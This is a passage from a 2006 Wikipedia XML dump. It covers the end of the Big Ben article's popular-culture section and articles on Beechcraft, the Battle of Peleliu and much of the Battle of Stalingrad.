The easily recognisable image of the clock has become a very well-used visual symbol for the [[United Kingdom]], and specifically for [[London]]. This is particularly true in the visual media. When a television or film-maker wishes to quickly convey to a non-UK audience a generic location in the [[United Kingdom]]; a very popular and [[cliche]]d way to do so is to show an image of &quot;Big Ben&quot;, often with a [[Routemaster]] bus in the foreground. This gambit is less often used in the [[United Kingdom]] itself, as it would to most [[British]] people suggest a specific location in London, which may not be the intention. 

The sound of the clock chiming has also been used this way in audio media, but as the [[Westminster Quarters]] are heard from many other clocks and other devices elsewhere, the unique nature of this particular sound has been considerably diluted. 

There are very many examples in film, televison, and cartoon media of this use and those following are but a few of them.

===Examples===
*The clock features in the climax of [[Don Sharp]]'s [[1978]] film adaptation of [[John Buchan]]'s spy novel ''[[The Thirty-Nine Steps]]'', although it does not appear in either [[Alfred Hitchcock]]'s [[1935]] adaptation nor, more interestingly, Buchan's book. 

A similar scene is recreated in the [[2003]] film, ''[[Shanghai Knights]]'' which culminates with [[Jackie Chan]] hanging from the hands of the clock.

*In the monster movie ''[[Gorgo]]'', the mother monster destroys the tower.

*The tower is featured several times during the [[2005]] series of ''[[Doctor Who]]''. It is destroyed in ''[[Aliens of London]]'' by a spacecraft that crashes into the [[River Thames]]; seen during [[the Blitz]] in &quot;[[The Empty Child]]&quot;; and is seen being restored in &quot;[[The Christmas Invasion]]&quot;.

*In the [[movie adaptation]] of &quot;[[V For Vendetta]],&quot; the terrorist hero V blows up the tower along with the rest of Parliament. 

*In the first entry of the computer military game series  &quot;[[Command &amp; Conquer]],&quot; a player has the option of destroying the tower.

*Individual clock faces were stolen by the evil Doctor Dredd in [[The Drac Pack]], and a [[Jack and the Beanstalk]] style giant, who used it for his cuckoo clock ([[Secret Squirrel]]). The whole tower was stolen by the snake-witch Messina in [[Freddie as FRO7]]

*The clock also features in the climax of the [[animated film]] ''[[The Great Mouse Detective|Basil, The Great Mouse Detective]]''.

*Big Ben can be seen on television in ''[[Independence Day (movie)|Independence Day]]'' as a large alien destroyer is seen hovering over London with the center of it over the clock tower. (and is eventually destroyed by the plasma ray).

*An earlier film climax on the clock face of Big Ben appears in [[Will Hay]]'s [[1943]] film ''My Learned Friend'', although the scene is more slapstick than thriller.

*In a scene in the Disney classic, ''Peter Pan'', the Darling children and Peter take a rest on the minute hand of Big Ben.  The video game ''[[Kingdom Hearts]]'' has Neverland as one of the last worlds in the game, and it features this same clock.

*In an episode of [[FOX]]'s ''[[The Simpsons]]'', in episode where a [[fortune teller]] helps [[Lisa Simpson]] see her future, we see that Big Ben's four faces have been replaced by [[digital clocks]].

==External links==
{{Commons|Big Ben}}
*[http://www.earthcam.com/uk/england/london/bigben.php Big Ben Webcam, Houses of Parliament, London, UK]
*[http://www.explore.parliament.uk Explore Parliament]
*[http://www.whitechapelbellfoundry.co.uk/bigben.htm Whitechapel Bell Foundry on Big Ben]
*[http://www.parliament.uk/documents/upload/G11.pdf Factsheet from Palace of Westminster (includes details on The Great Clock)]
*[http://www.bigben.freeservers.com/index2.html Big Ben]
*[http://www.raeng.org.uk/news/publications/ingenia/issue9/Mair.pdf ''Innovative engineering to control Big Ben’s tilt''] - A technical paper from Cambridge University
*[http://www.skyscrapernews.com/buildings.php?id=452 Skyscrapernews detail on Big Ben]
*[http://widgets.yahoo.com/gallery/view.php?widget=38452 Big Ben Clock [[widget]] on [[Yahoo!]] widgets]

[[Category:Bell towers]]
[[Category:Bells]]
[[Category:Clock towers]]
[[Category:Clocks]]
[[Category:Landmarks]]
[[Category:National government buildings in London]]
[[Category:Tall buildings and structures in London]]
[[Category:Towers in the United Kingdom]]
[[Category:Visitor attractions in London]]
[[Category:Westminster]]

[[ca:Big Ben]]
[[de:Big Ben]]
[[es:Big Ben]]
[[fi:Big Ben]]
[[fr:Big Ben]]
[[he:ביג בן]]
[[ja:ビッグ・ベン]]
[[nl:Big Ben]]
[[no:Big Ben]]
[[pl:Big Ben]]
[[pt:Big Ben]]
[[sv:Big Ben]]
[[zh:大本钟]]</text>
    </revision>
  </page>
  <page>
    <title>Beechcraft</title>
    <id>4282</id>
    <revision>
      <id>41936526</id>
      <timestamp>2006-03-02T19:15:22Z</timestamp>
      <contributor>
        <username>Peconeto</username>
        <id>853615</id>
      </contributor>
      <text xml:space="preserve">{| align=right
|[[image:beech.bonanza.arp.750pix.jpg|thumb|right|250px|1978 [[Beechcraft Bonanza|Beech Bonanza F33C]].]]
|}

'''The Beech Aircraft Corporation''', now the '''Beechcraft Division''' of [[Raytheon]], is a manufacturer of [[general aviation]] and military aircraft, ranging from light single engine aircraft to business jets and light military transports. Beech airplanes, called Beechcrafts by the company and their many fans, have a long-standing reputation as being among the best made aircraft available. They are also invariable among the most expensive planes in their class.

Beechcraft was founded in 1932 by [[Walter Herschel Beech|Walter H. Beech]] and his wife [[Olive Ann Beech|Olive Ann]]. The Beeches began operations in an idle [[Cessna]] factory. With designer Ted Wells, they developed their first aircraft, the classic [[Beechcraft Staggerwing|Beech Staggerwing model 17]], which flew for the first time in November 1932. Over 750 Staggerwings were built, with 270 manufactured for the [[U.S. Army]] during [[World War II]].

After the war, the Staggerwing was replaced by the revolutionary [[Beechcraft Bonanza]]. Perhaps the best known Beech aircraft, the single-engine Bonanza has been manufactured for nearly 60 years. Other important Beech planes are the [[King Air|King Air]] line of twin-engine turboprops, in production since 1964, and the [[Beechcraft Baron|Baron]], a twin-engine variant of the Bonanza.

In 1950, Olive Ann Beech was installed as president and CEO of the company, after the sudden death of her husband Walter from a heart attack on November 29th of that year. She continued as CEO until Beech was purchased by [[Raytheon|Raytheon Company]] on [[February 8]], [[1980]]. 

In [[1994]], Raytheon merged Beech into the Hawker product line they had acquired the previous year from [[British Aerospace]], forming Raytheon Aircraft Company. This was a very unpopular move among the Beechcraft faithful and in 2002 the merger decision was reversed, reviving Beechcraft as a brand. Today the company continues as the Beechcraft Division of Raytheon Aircraft. Since its inception Beech has resided in [[Wichita, Kansas]], also the home of chief competitor [[Cessna|Cessna Aircraft Company]].

== Aircraft products ==
Beechcraft aircraft include:

=== Civilian ===
* [[Beechcraft Staggerwing|Model 17 Staggerwing]] 
[[image:beech.staggerwing.750pix.jpg|thumb|right|250px|1943 [[Beechcraft Staggerwing|Beech D.17S Staggerwing]].]] 
* [[Beechcraft Model 18|Model 18]]
* [[Beechcraft Musketeer|Model 23 Musketeer]] and Sundowner
* [[Beechcraft Sierra|Model 24 Sierra]]
* [[Beechcraft Bonanza|Model 33 Debonair]]
* [[Beechcraft Bonanza|Model 35 Bonanza]]
* [[Beechcraft Bonanza|Model 36 Bonanza]]
* [[Beechcraft Twin Bonanza|Model 50 Twin Bonanza]]
* [[Beechcraft Baron|Model 55 &amp; 58 Baron]]
* [[Beechcraft Duke|Model 60 Duke]]
* [[Beechcraft Queen Air|Model 65 Queen Air]]
* [[Beechcraft Duchess|Model 76 Duchess]]
* [[Beechcraft Skipper|Model 77 Skipper]]
* [[Beechcraft King Air|Model 90 King Air]]
* [[Beechcraft Travel Air|Model 95 Travel Air]]
* [[Beechcraft Model 99|Model 99]] Airliner
* [[Beechcraft King Air|Model 100 King Air]] and Model 200 &amp; 300 Super King Air
* [[Raytheon Hawker 400XP|Model 400 Beechjet]]
* [[Beechcraft 1900|Model 1900]] Commuter
* [[Beechcraft Starship|Model 2000 Starship]] [[image:NASA-2000Starship.jpg|thumb|right|250px|[[Beechcraft Starship|Beechcraft Model 2000 Starship]].]]

=== Military ===
* [[XA-38 Grizzly]]
* [[AT-7 Navigator]]
* [[C-6 Ute]]
* [[C-12 Huron]]
* [[C-43 Traveler]]
* [[C-45 Expeditor]]
* [[CT-128 Expeditor]]
* [[CT-134 Musketeer]]
* [[CT-145 Super Kingair]]
* [[RC-12 Guard Rail]]
* [[T-1 Jayhawk]]
* [[T-34 Mentor]]
* [[T-42 Cochise]]
* [[U-8 Seminole]]
* [[U-21 Ute]]

==External links==
* [http://www.raytheonaircraft.com/beechcraft/ Beechcraft Division web site]
* [http://www.aircraft-info.net/aircraft/propellor_aircraft/beechcraft/ Aircraft-Info.net - Beechcraft]
* [http://www.rtptv.homestead.com/rtpbeech.html RTP-TV AeroSpace Show: 1942 Beech C45 Aerobatic Video]
* [http://www.beechaeroclub.org Beech Aero Club] (Owners and Pilots Association)
* {{cite web | title=Patents owned by Beech Aircraft Corporation | work=US Patent &amp; Trademark Office | url=http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&amp;Sect2=HITOFF&amp;u=%2Fnetahtml%2Fsearch-adv.htm&amp;r=0&amp;p=1&amp;f=S&amp;l=50&amp;Query=an%2F%22Beech+Aircraft%22&amp;d=ptxt | accessdate=December 5 | accessyear=2005}}

{{airlistbox}}

[[Category:United States aircraft manufacturers]]
[[Category:Raytheon]]

[[de:Beechcraft]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Peleliu</title>
    <id>4283</id>
    <revision>
      <id>40907364</id>
      <timestamp>2006-02-23T20:38:13Z</timestamp>
      <contributor>
        <ip>64.107.158.131</ip>
      </contributor>
      <comment>/* Reference */</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Peleliu
|partof=[[World War II]], [[Pacific War]]
|image=[[Image:Battle of Peleliu2.jpg|300px|]]
|caption=
|date=[[September 15]], [[1944]] &amp;ndash; [[November 25]], [[1944]]
|place=[[Peleliu]], [[Palau Islands]]
|result=American victory
|combatant1=[[United States]]
|combatant2=[[Japan]]
|commander1=[[William Rupertus]]
|commander2=[[Kunio Nakagawa]]
|strength1=2 divisions (1st Marine Division, 81st Division) 
|strength2=Approximately 11,000 men
|casualties1=2,336 killed and 8,450 wounded  
|casualties2=10,695 killed, 202 captured
}}
{{Campaignbox Marianas and Palaus}}

[[Image:Battle of Peleliu map.jpg|right|300px|]]
Like the bloody [[World War II]] island campaigns before it, the '''battle of Peleliu''' was a fight to capture an airstrip on a speck of coral in the western [[Pacific]]. And, as with previous island battles, the Americans would prevail, but at a higher cost than anticipated, against the determined resistance of the Japanese forces.

By the summer of 1944 victories in the Southwest and Central Pacific had brought the war even closer to [[Japan]], with American bombers now able to strike at the Japanese homeland itself. But there was disagreement by the U.S. Joint Chiefs over two proposed strategies to crush the Japanese Empire. One strategy proposed by General [[Douglas MacArthur]] called for the recapture of the [[Philippines]], followed by the capture of [[Okinawa]] then [[Taiwan|Formosa]] for an attack at the Chinese mainland. From there, the eventual invasion of Japan would come. Admiral [[Chester Nimitz]], on the other hand, favored a more direct strategy of bypassing the Philippines, but seizing Okinawa and Formosa as [[staging area]]s for the future invasion of Japan's southernmost islands.

As for Peleliu, both commanders' strategies included the invasion of this island, but for different reasons, and the [[1st Marine Division]] had already been chosen to make the assault. To settle this dispute, President [[Franklin D. Roosevelt]] traveled to Pearl Harbor to personally meet both commanders and hear their respective arguments. After a review of both positions, MacArthur's strategy was chosen. However, before MacArthur could retake the Philippines, the Palau Islands, Peleliu specifically, would have to be neutralized to protect his right flank. What followed was a ferocious battle lasting more than two months and costing over 12,000 lives.

The [[amphibious assault ship]] [[USS Peleliu|''Peleliu'']] was named in memory of the battle.

[[Image:Resting on Peleliu Island.jpg|none|thumbnail|200px|Two marines rest during mopping up operations on Peleliu]]

[[Image:Peleliu stare.jpg|none|200px|thumbnail|&quot;Two-Thousand Yard Stare&quot; by [[Tom Lea]].]]</text>
    </revision>
  </page>
  <page>
    <title>Battle of Stalingrad</title>
    <id>4284</id>
    <revision>
      <id>42082697</id>
      <timestamp>2006-03-03T18:33:54Z</timestamp>
      <contributor>
        <username>Bogfjellmo</username>
        <id>197310</id>
      </contributor>
      <comment>reverting edits by 206.208.188.199 to last version by Algebra</comment>
      <text xml:space="preserve">{{Infobox Military Conflict
|conflict=Battle of Stalingrad
|partof=[[World War II]]
|image=[[Image:Stalingrad.jpg|300px|]]
|caption=
|date=[[August 21]] [[1942]] &amp;ndash; [[February 2]] [[1943]]
|place=[[Volgograd|Stalingrad]], [[Soviet Union|USSR]]
|result=Decisive Soviet victory
|combatant1=[[Axis Powers]]
|combatant2=[[Soviet Union]]
|commander1=[[Erich von Manstein]]&lt;br&gt;[[Friedrich Paulus]]
|commander2=[[Georgy Zhukov]]&lt;br&gt;[[Vasily Chuikov]]
|strength1=500,000
|strength2=1,700,000
|casualties1=850,000 military
|casualties2=750,000+ military &lt;br&gt; 40,000+ civilian
}}
{{Campaignbox Axis-Soviet War}}


The '''Battle of Stalingrad''' was a major turning point in [[World War II]] and is considered the bloodiest [[battle]] in recorded [[human history]]. The battle was marked by brutality and disregard for military and [[civilian casualties]] on both sides. The battle is taken to include the German [[siege]] of the southern Russian city of [[Stalingrad]], which is today [[Volgograd]], the battle inside the city, and the Soviet counter-offensive which eventually trapped and destroyed the [[German Sixth Army]] and other [[Axis Powers|Axis]] forces in and around the city. Total casualties for both sides are estimated to be over two million. The Axis powers lost large numbers of men and equipment, and never fully recovered from the defeat. For the Soviets, who also suffered great losses during the battle, the victory at Stalingrad marked the start of the [[liberation]] of the [[Soviet Union]], leading to eventual victory over [[Nazi Germany]] in 1945.


==Background==
On [[22 June]] [[1941]] Germany and its Axis allies [[Operation Barbarossa|invaded the Soviet Union]], quickly advancing deep into Soviet territory. Having suffered defeat during the summer and autumn of 1941, Soviet forces counter-attacked in the [[Battle of Moscow]] in December 1941. The exhausted German forces, ill equipped for winter warfare and with overstretched [[supply line]]s, were stopped in their drive towards the [[capital]].

The Germans stabilized their [[Front (military)|front]] by spring 1942. Plans to launch another offensive against Moscow were discarded, however, as [[Army Group Centre]] had been too heavily weakened. Part of the German military philosophy was to attack where least expected, so that rapid gains could be made. An attack on Moscow was seen as too predictable by some, most notably [[Adolf Hitler|Hitler]]. Along with this, the German high command knew that time was running out for them as the [[United States]] had entered WWII following the [[Japan]]ese [[attack on Pearl Harbor]]. Hitler wanted to end the fighting on the Eastern Front or at least minimize it before the US had a chance to get deeply involved in the war in Europe.

For all of these reasons new offensives in the north and south were considered. A drive into the southern [[U.S.S.R.|USSR]] would secure control of the oil-rich [[Caucasus (geographic region)|Caucasus]], as well as the [[Volga River]], a backbone of Soviet transportation from [[Central Asia]]. A German victory in the southern Soviet Union would severely damage [[Joseph Stalin| Stalin]]'s war machine and the Soviet economy. Another resource desired by Germany in this area was [[agricultural]] production.

==Operation Blau==
[[Image:Eastern_Front_1942-05_to_1942-11.png|thumb|300px|Operation Blue: German advances from [[7 May]] [[1942]] to [[18 November]] [[1942]]
{{legend|#fff8d5|to [[7 July]] [[1942]]}}
{{legend|#ffd2b9|to [[22 July]] [[1942]]}}
{{legend|#ebd7ff|to [[1 August]] [[1942]]}}
{{legend|#ccffcd|to [[18 November]] [[1942]]}}]]
[[Army Group South]] was selected for a sprint forward through the southern Russian [[steppe]]s into the [[Caucasus]] to capture vital Soviet [[oil field]]s. The summer offensive was [[Code name|code-named]] ''Fall Blau'' (&quot;Case Blue&quot;). It was to include the [[German Sixth Army|6th]] and 17th Armies and the 4th and 1st Panzer Armies. In 1941, Army Group South had conquered [[Ukrainian SSR|Ukraine]], and was positioned at the area of the planned offensive.

Hitler intervened however, in the strategic planning, ordering the [[Army Group]] to be split in two. Army Group South (A), under the command of  [[Paul Ludwig Ewald von Kleist]], was to continue advancing south towards the Caucasus as planned with the 17th and 1st Panzer Armies. Army Group South (B), including [[Friedrich Paulus]]'s [[German Sixth Army|6th Army]] and [[Hermann Hoth]]'s 4th Panzer Army, was to move east towards the [[Volga River|river Volga]] and the city of [[Stalingrad]].

The capture of Stalingrad was important to Hitler for several reasons. It was a major industrial city on the [[Stream bed|banks]] of the river Volga (a vital transport route between the [[Caspian Sea]] and northern Russia). Its capture would secure the left flank of the German armies as they advanced into the Caucasus. Finally, the fact that the city bore the name of Hitler's nemesis, [[Joseph Stalin]], would make the city's capture an [[Ideology|ideological]] and [[propaganda]] coup. 

Stalin also had an ideological and propaganda interest in defending the city which bore his name. During the [[Russian Civil War]] he played a prominent role in the Red defense of the city, then known as Tsaritsyn, from White forces. Also, the Red Army, at this stage of the war, was less capable of highly mobile operations than the German army. The prospect of combat inside a large urban area, which would be dominated by infantry and artillery, minimized the Red Army's disadvantages against the Germans.  

==The battle opens ==
The start of Operation Blau had been planned for late May 1942. However, a number of German and [[Romania]]n units that were involved in Blau were then in the process of [[Siege of Sevastopol (1942)|besieging Sevastopol]] on the [[Crimea|Crimean Peninsula]]. Delays in ending the siege pushed back the start date for Blau several times, and the city did not fall until the end of June. A smaller action was taken in the meantime, pinching off a Soviet [[salient]] in the [[Second Battle of Kharkov]], which resulted in the pocketing of a large Soviet force on [[22 May]].

Blau finally opened as Army Group South began its attack into southern Russia on [[June 28]], [[1942]]. The German offensive started well. Soviet forces offered little resistance in the vast empty steppes, and started streaming eastward in disarray. Several attempts to form defensive lines failed when other German units [[flank|flanked]] Soviet defensive lines. Two major pockets were formed and destroyed, the first northeast of Kharkov on [[June 2]], a second around [[Millerovo]], [[Rostov Oblast]] a week later.

Meanwhile the 2nd [[Hungary|Hungarian]] Army and the 4th Panzer Army had launched an [[Battle of Voronezh (1942)|assault on Voronezh]], capturing the city on [[5 July]].

The initial advance of the 6th Army was so successful that Hitler intervened, and ordered the 4th Panzer Army to join Army Group South (A) to the south. A massive [[traffic jam]] resulted when the 4th Army and the 6th Army both required the few roads in the area. Both armies were stopped dead while they attempted to clear the resulting mess of thousands of vehicles. The delay was long, and it is thought that it cost the advance at least one week. With the advance now slowed, Hitler changed his mind and re-assigned the 4th Panzer back to the attack on Stalingrad.

By the end of July the Germans had pushed the Soviets across the [[Don River, Russia|Don River]]. At this point the Germans established defensive lines using the Armies of their [[Italy|Italian]], Hungarian and Romanian allies. The 6th Army was only a few dozen kilometers from Stalingrad, and the 4th Panzer, now to their south, turned north to help take the city. To the south, Group A was pushing far into the Caucasus, but their advance slowed. Group A's forces were deployed far to the south and provided no support to Group B in the north.

Now German intentions became clear to the Soviet commanders: in July Soviet plans were developed for the defense in Stalingrad. Soviet troops still moving eastward before the Germans offensive were ordered into Stalingrad. The eastern border of Stalingrad was the broad Volga river, and over the river additional Soviet units were deployed. This combination of units became the newly formed 62nd Army under the command of [[Vasily Chuikov]]. Its mission was to defend Stalingrad at all costs.

==The battle in the city==
[[Image:Streetfight_Stralingrad01.jpg|thumb|right|200px|[[Urban warfare|Streetfighting]] inside Stalingrad]]

Stalin forbade civilians from leaving the city on the premise that their presence would encourage greater resistance from the city's defenders. Civilians including women and children were put to work building [[trench]]works and protective fortifications. A massive German [[Aerial bombing|air bombardment]] on [[23 August]] caused a [[firestorm]], killing thousands of civilians and turning Stalingrad into a vast landscape of rubble and burnt ruins. Eighty percent of the living space in the city was destroyed. The burden of the initial fighting for the city proper fell on the 1077th [[Anti-aircraft]] regiment: a unit made up mainly of young women [[volunteer]]s who had no training on engaging ground targets. Despite this and with no support available from other Soviet units the AA gunners stayed at their posts and took on the advancing panzers. The 16th Panzer Division reportedly had to fight the 1077th's gunners &quot;shot for shot&quot; until all 37 AA batteries had been destroyed or overrun. &lt;!-- Source 1) Beevors Stalingrad 2) http://stalingrad-info.com/stalingrad1942.htm --&gt; By the end of August, Army Group South (B) had finally reached the Volga to the north of Stalingrad. Another advance to the river south of the city followed. In the initial phase the Soviet defence relied extensively on &quot;Workers [[militia]]s&quot; composed of workers not directly involved in war production. For a short period, [[Tank]]s continued to be produced and manned by volunteer crews of factory workers. They were driven directly from the factory floor to the front line, and legend has it that they were not even painted.

By [[1 September]], [[1942]], the Soviets could only supply their forces in Stalingrad by perilous crossings of the Volga. Amid the debris of the now wrecked city, the Soviet 62nd Army formed defense lines, with strongpoints situated in houses and factories. Fighting in the city was fierce and desperate. Stalin's [[Order No. 227]] of [[July 27]] [[1942]] had decreed that all those who retreated or otherwise left their positions without orders to do so could be summarily shot. &quot;Not a step back!&quot; was the [[slogan]]. The Germans pushing forward into Stalingrad suffered heavy casualties. Soviet reinforcements were shipped across the river Volga from the eastern bank under constant bombardment by German artillery and planes. The life expectancy of a newly arrived Soviet private in the city dropped to less than twenty-four hours. German [[military doctrine]] was based on the principle of [[Combined arms|combined-arms team]]s and close co-operation by [[tank]]s,[[infantry]], [[Military engineer|engineers]], [[artillery]]; and [[Ground attack aircraft|ground-attack aircraft]]. To counter this, Soviet commanders adopted the simple expedient of always keeping the front lines as close together as physically possible. Chuikov called this tactic &quot;hugging&quot; the Germans. This tactic put the German infantry in the position of having to fight on their own or be endangered by their own supporting fire; it neutralized German close air support and weakened their artillery support. Bitter fighting raged for every street, every factory, every house, basement and staircase. The Germans, calling this unseen [[Urban warfare|urban warfare]] ''Rattenkrieg'' (&quot;rat-war&quot;), bitterly joked about having captured the kitchen but still fighting for the living-room.

Fighting on [[Mamayev Kurgan]], a prominent blood-soaked hill above the city, was particularly merciless. The height changed hands many times. During one Soviet counter-attack to recapture Mamayev Kurgan, the Soviets lost an entire division of 10,000 men in one day. At the Grain Elevator, a huge grain processing complex dominated by a single enormous silo, combat was so close that Soviet and German soldiers could hear each other breathe. Combat at the Grain Elevator went on for weeks until the German army reduced the position. In another part of the city, an [[apartment building]] defended by a Soviet [[platoon]] under the command of [[Yakov Pavlov]] was turned into an impenetrable [[fortress]]. The building, later called &quot;[[Pavlov's House]]&quot;, oversaw a square in the city centre. The soldiers surrounded it with minefields, set up machine-gun positions at the windows, and breached the walls in the basement for better communications.

[[Image:Stalingrad-a.jpg|right|200px|thumb|Soviet soldiers fighting in the ruins of Stalingrad, 1942]]

With no end to the fighting in sight, the Germans started transferring [[heavy artillery]] to the city, including several gigantic 600&amp;nbsp;mm [[Mortar (weapon)|mortars]]. The Germans made no effort to send a force across the Volga, allowing the Soviets to build up a large number of artillery batteries there. Soviet artillery on the Eastern bank of the Volga continued to place German positions under fire. The Soviet defenders used the resulting ruins as defensive positions. German tanks found movement difficult in the heaps of rubble up to eight meters high. If they still were able to move forward, they were taken under close-range Soviet [[anti-tank]] fire from building wrecks. 

[[Soviet sniper]]s also successfully used the ruins to hide in. They inflicted heavy casualties on the Germans. The most successful sniper was only identified as &quot;Zikan&quot;, being credited with 224 kills by [[November 20]], [[1942]]. [[Vasily Grigoryevich Zaitsev]] was credited with 149 kills during the battle.

For both Stalin and Hitler, the battle of Stalingrad became a prestige issue, in addition to the real strategic significance of the battle. The Soviet command moved the [[Red Army]]'s strategic reserves from the [[Moscow]] area to the lower Volga, and transferred aircraft from the entire country to the Stalingrad region. The strain on both military commanders was immense: Paulus developed an uncontrollable tic in his eye, while Chuikov experienced an outbreak of [[eczema]] that required him to bandage his hands completely. The troops on both sides faced the constant strain of close-range combat.  

In November, after three months of carnage and slow and costly advance, the Germans finally reached the river banks, capturing 90% of the ruined city and splitting the remaining Soviet forces into two narrow pockets. In addition, ice-floes on the Volga now prevented boats and tugs from supplying the Soviet defenders across the river. Nevertheless the fighting, especially on the slopes of Mamayev Kurgan and inside the factory area in the northern part of the city, continued as fiercely as ever. The battles for the [[October_Revolution|Red October]] steel factory, the Dzerzhinsky tractor factory and the Barrikady gun factory became world famous. While Soviet soldiers defended their positions and took the Germans under fire, factory workers repaired damaged Soviet tanks and other weapons in the direct vicinity of the battlefield, sometimes on the battlefield itself.

==The Soviet counter-attack: Operation Uranus==
[[Image:Battle of Stalingrad.png|thumbnail|right|300px|The Soviet counter-attack at Stalingrad
{{legend-line|solid #0000cf 2px|German front, [[19 November]]}}
{{legend-line|solid #ff6600 2px|German front, [[12 December]]}}
{{legend-line|solid #009a00 2px|German front, [[24 December]]}}
{{legend|#c3c3c3|border=solid grey 1px|Russian advance, 19-[[28 November]]}}
]]

During the siege the German, Hungarian, and Romanian armies protecting Army Group South (B)'s [[flank]]s had pressed their [[headquarter]]s for support. The 2nd Hungarian Army (consisting of mainly ill-equipped and ill-trained units) were given the task of defending a 200&amp;nbsp;km section of the front north of Stalingrad. This resulted in a very thin line of defense with some parts where 1-2km stretches were being guarded by a single [[platoon]]. Soviet forces held several points on the south bank of the river and presented a potentially serious threat to Army Group South (B). However, Hitler was so focused on the city itself that requests from the flanks for support were refused. The chief of the German High Command [[OKW]], [[Franz Halder]], expressed concerns about Hitler's preoccupation with the city, pointing at the Germans' weak flanks. Hitler replaced Halder in mid-October with General [[Kurt Zeitzler]].

In Autumn the Soviet general [[Georgy Zhukov]], responsible for strategic planning in the Stalingrad area, concentrated massive Soviet forces in the steppes to the north and south of the city. The German northern flank was particularly vulnerable, since it was defended by [[Hungarian Army|Hungarian]] and [[Romanian Army|Romanian]] units which suffered from inferior equipment and low [[morale]]. Zhukov's plan was to keep pinning the Germans down in the city, and then to punch through the overstretched and weakly defended German flanks and to surround the Germans inside Stalingrad. The operation was code-named &quot;[[Operation Uranus|Uranus]]&quot; and launched in conjunction with [[Operation Mars]], which was directed at [[Army Group Center]].

On [[November 19]], [[1942]] the Red Army unleashed Uranus. The attacking Soviet units under the command of General [[Nikolai Vatutin]] consisted of three complete armies, the 1st Guards Army, 5th Tank Army, and 21st Army, including a total of 18 infantry [[Division (military)|division]]s, eight tank [[brigade]]s, two [[Mechanized force|motorized]] brigades, six [[cavalry]] divisions and one anti-tank brigade. The preparations for the attack could be heard by the Romanians, who continued to push for reinforcements, only to be refused again. Thinly spread, outnumbered and poorly equipped, the 3rd Romanian Army, which held the northern flank of the German 6th Army, was shattered after a one-day defense.

On [[November 20]], a second Soviet offensive (two armies) was launched to the south of Stalingrad, against points held by the Romanian 4th Army Corps. The Romanian forces collapsed almost immediately. Soviet forces raced west in a [[pincer movement]], and met two days later near the town of [[Kalach]], sealing the ring around Stalingrad. The Soviets thought they had trapped less than 100,000 Germans; in fact about 250,000 German and Romanian soldiers, as well as some [[Croatia]]n units and volunteer subsidiary troops were encircled in the pocket. Not all German soldiers from the 6th Army were trapped: 50,000 were brushed aside outside the pocket. The encircling Red Army units immediately formed two defensive fronts: one facing 'inward' to defend against breakout attempt by the surrounded Germans, the other facing 'outward' to defend against any relief attempt.  

Hitler had already declared in a public speech on [[September 30]] that the German army would never leave the city. At a meeting shortly after the encirclement, German army chiefs pushed for an immediate breakout to a new line on the west of the Don. [[Hermann Göring]] instead claimed that the [[Luftwaffe]] could supply the 6th Army with an &quot;air bridge.&quot; This would allow the Germans in the city to fight on while a relief force could be assembled, a plan that had been used successfully a year earlier at the [[Demyansk Pocket]] on a much smaller scale (an army corps versus an entire army). The German Sixth Army was the largest unit of this type in the world, almost twice as large as a regular German army. Also trapped in the &quot;pocket&quot; was a corps of the Fourth Panzer Army. It should have been clear that supplying the pocket by air was impossible: the Luftwaffe's carrying capacity after the [[Battle of Crete]] had not been reinforced, and the maximum 300 tonnes they could deliver a day would be less than the 500 needed by the pocket. However, Hitler backed Göring's plan and re-iterated his order of &quot;no surrender&quot; to his trapped armies.

The air supply mission failed almost immediately. Heavy Soviet anti-aircraft fire and fighter interceptions led to the loss of many German transport aircraft. The winter weather reduced the flying efficiency of the Geram air force. In general only 10 percent of the needed supplies could be delivered. Those transport planes which made it would evacuate technical specialists and sick or wounded men when taking off from the besieged enclave. The 6th Army slowly starved. [[Aviator|Pilot]]s were shocked to find the troops assigned to offloading the planes too exhausted and hungry to unload food.

Soviet forces consolidated their positions around Stalingrad, and fierce fighting to shrink the pocket began. An attack by a German battlegroup formed to relieve the trapped armies from the South, ''[[Operation Wintergewitter]]'' (&quot;Winter Storm&quot;) was successfully fended off by the Soviets in December. The full impact of the harsh Russian winter set in. The Volga froze solid, allowing the Soviets to supply their forces in the city more easily. The trapped Germans rapidly ran out of heating fuel and medical supplies, and thousands started dying of [[frostbite]], [[malnutrition]] and [[disease]].

In January the Soviets launched a second offensive, [[Operation Saturn]], which attempted to punch through the Axis army on the Don and take [[Rostov-on-Don|Rostov]]. If successful, this offensive would have trapped the remainder of Army Group South in the Caucasus. The Germans set up a &quot;mobile defense&quot; in which small units would hold towns until supporting armor could arrive. The Soviets never got close to Rostov, but the fighting forced von Manstein to extract Group A from the Caucasus and restabilize the frontline some 250&amp;nbsp;km away from the city. The 6th Army was now beyond all hope of German reinforcement. The German troops in Stalingrad were not told this, however, and continued to believe that reinforcements were on their way. Some German officers requested that Paulus defy Hitler's orders to stand fast and instead attempt to break out of the Stalingrad pocket. Paulus refused, as he abhorred the thought of disobeying orders.

==Soviet victory==
[[Image:Paulus_POW.jpg|thumb|right|300px| German POWs: The staff of Field Marshal Paulus]]

The Germans inside the pocket retreated from the [[suburb]]s of Stalingrad to the city itself. The loss of the two [[airfield]]s at Pitomnik and Gumrak meant an end to air supplies and to the evacuation of the wounded. The Germans were now literally starving, and running out of [[ammunition]]. Nevertheless they continued to resist stubbornly, partly because they believed the Soviets would execute those who surrendered. In particular, the so-called &quot;HiWi&quot; troops, ex-Soviets fighting for the Germans, had no illusions about their fate if captured. The Soviets, in turn, were initially surprised by the large number of German forces they had trapped, and had to reinforce their encircling forces. Bloody [[urban warfare]] began again in Stalingrad, but this time it was the Germans who were pushed back to the banks of the Volga.

Hitler promoted Paulus to ''[[Generalfeldmarschall]]'' on [[January 30]], [[1943]] (the 10th anniversary of Hitler coming to power). Since no German [[field marshal]] had ever been taken prisoner, Hitler assumed that Paulus would fight on or take his own life. Nevertheless, when Soviet forces closed in on Paulus' headquarters in the ruined [[ State_Universal_Store|GUM]] department store, Paulus surrendered. The remnants of the German forces in Stalingrad surrendered on [[February 2]] [[1943]]; 91,000 tired, ill and starving Germans were taken captive. To the delight of the Soviet forces and the dismay of the Reich, the prisoners included 22 generals. Hitler was angry at the Field Marshall's surrender and confided that &quot;Paulus stood at the doorstep of eternal glory but made an about-face&quot;.

